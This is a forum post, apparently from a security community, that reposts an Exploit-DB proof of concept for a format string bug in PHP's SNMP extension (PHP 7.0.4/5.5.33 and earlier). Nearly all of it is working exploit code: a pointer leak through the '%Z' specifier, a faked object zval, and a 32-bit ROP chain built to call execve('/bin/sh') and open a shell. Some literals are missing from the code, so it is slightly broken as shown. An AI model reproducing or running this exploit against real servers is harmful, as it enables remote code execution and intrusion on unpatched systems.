Jump to content
Nytro

PHP <= 7.0.4/5.5.33 - SNMP Format String Exploit

Recommended Posts

PHP <= 7.0.4/5.5.33 - SNMP Format String Exploit

 

<?php
 
// PHP <= 7.0.4/5.5.33 SNMP format string exploit (32bit)
// By Andrew Kramer <andrew at jmpesp dot org>
// Should bypass ASLR/NX just fine
 
// This exploit utilizes PHP's internal "%Z" (zval)
// format specifier in order to achieve code-execution.
// We fake an object-type zval in memory and then bounce
// through it carefully.  First though, we use the same
// bug to leak a pointer to the string itself.  We can
// then edit the global variable with correct pointers
// before hitting it a second time to get EIP.  This
// makes it super reliable!  Like... 100%.
// To my knowledge this hasn't really been done before, but
// credit to Stefan Esser (@i0n1c) for the original idea.  It works!
// https://twitter.com/i0n1c/status/664706994478161920
 
// All the ROP gadgets are from a binary I compiled myself.
// If you want to use this yourself, you'll probably need
// to build a new ROP chain and find new stack pivots for
// whatever binary you're targeting.  If you just want to get
// EIP, change $stack_pivot_1 to 0x41414141 below.
 
 
// pass-by-reference here so we keep things tidy
function trigger(&$format_string) {
 
    $session = new SNMP(SNMP::VERSION_3, "127.0.0.1", "public");
    // you MUST set exceptions_enabled in order to trigger this
    $session->exceptions_enabled = SNMP::ERRNO_ANY;
 
    try {
        $session->get($format_string);
    } catch (SNMPException $e) {
        return $e->getMessage();
    }
 
}
 
// overwrite either $payload_{1,2} with $str at $offset
function overwrite($which, $str, $offset) {
 
    // these need to be global so PHP doesn't just copy them
    global $payload_1, $payload_2;
 
    // we MUST copy byte-by-byte so PHP doesn't realloc
    for($c=; $c<strlen($str); $c++) {
        switch($which) {
            case 1:
                $payload_1[$offset + $c] = $str[$c];
                break;
            case 2:
                $payload_2[$offset + $c] = $str[$c];
                break;
        }
    }
 
}
 
echo "> Setting up payloads\n";
 
//$stack_pivot_1 = pack("L", 0x41414141); // Just get EIP, no exploit
$stack_pivot_1 = pack("L", 0x0807c19f); // xchg esp ebx
$stack_pivot_2 = pack("L", 0x0809740e); // add esp, 0x14
 
// this is used at first to leak the pointer to $payload_1
$leak_str = str_repeat("%d", 13) . $stack_pivot_2 . "Xw00t%lxw00t";
$trampoline_offset = strlen($leak_str);
 
// used to leak a pointer and also to store ROP chain
$payload_1 =
    $leak_str .                     // leak a pointer
    "XXXX" .                        // will be overwritten later
    $stack_pivot_1 .                // initial EIP (rop start)
    // ROP: execve('/bin/sh',0,0)
    pack("L", 0x080f0bb7) .         // xor ecx, ecx; mov eax, ecx
    pack("L", 0x0814491f) .         // xchg edx, eax
    pack("L", 0x0806266d) .         // pop ebx
    pack("L", 0x084891fd) .         // pointer to /bin/sh
    pack("L", 0x0807114c) .         // pop eax
    pack("L", 0xfffffff5) .         // -11
    pack("L", 0x081818de) .         // neg eax
    pack("L", 0x081b5faa);          // int 0x80
 
// used to trigger the exploit once we've patched everything
$payload_2 =
    "XXXX" .                        // will be overwritten later
    "XXXX" .                        // just padding, whatevs
    "\x08X" .                       // zval type OBJECT
    str_repeat("%d", 13) . "%Z";    // trigger the exploit
 
// leak a pointer
echo "> Attempting to leak a pointer\n";
$data = trigger($payload_1);
$trampoline_ptr = (int)hexdec((explode("w00t", $data)[1])) + $trampoline_offset;
echo "> Leaked pointer: 0x" . dechex($trampoline_ptr) . "\n";
 
// If there are any null bytes or percent signs in the pointer, it will break
// the -0x10 will be applied later, so do it now too
if(strpos(pack("L", $trampoline_ptr - 0x10), "\x00") !== false
|| strpos(pack("L", $trampoline_ptr - 0x10), "%") !== false) {
    echo "> That pointer has a bad character in it\n";
    echo "> This won't work.  Bailing out... :(\n";
    exit();
}
 
echo "> Overwriting payload with calculated offsets\n";
// prepare the trampoline
// code looks kinda like...
//   mov eax, [eax+0x10]
//   mov eax, [eax+0x54]
//   call eax
overwrite(2, pack("L", $trampoline_ptr - 0x10), );
overwrite(1, pack("L", $trampoline_ptr - 0x54 + 4), $trampoline_offset);
 
// exploit
echo "> Attempting to pop a shell\n";
trigger($payload_2);
 
// if we make it here, something didn't work
echo "> Exploit failed :(\n";

Sursa: https://www.exploit-db.com/exploits/39645/

  • Upvote 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...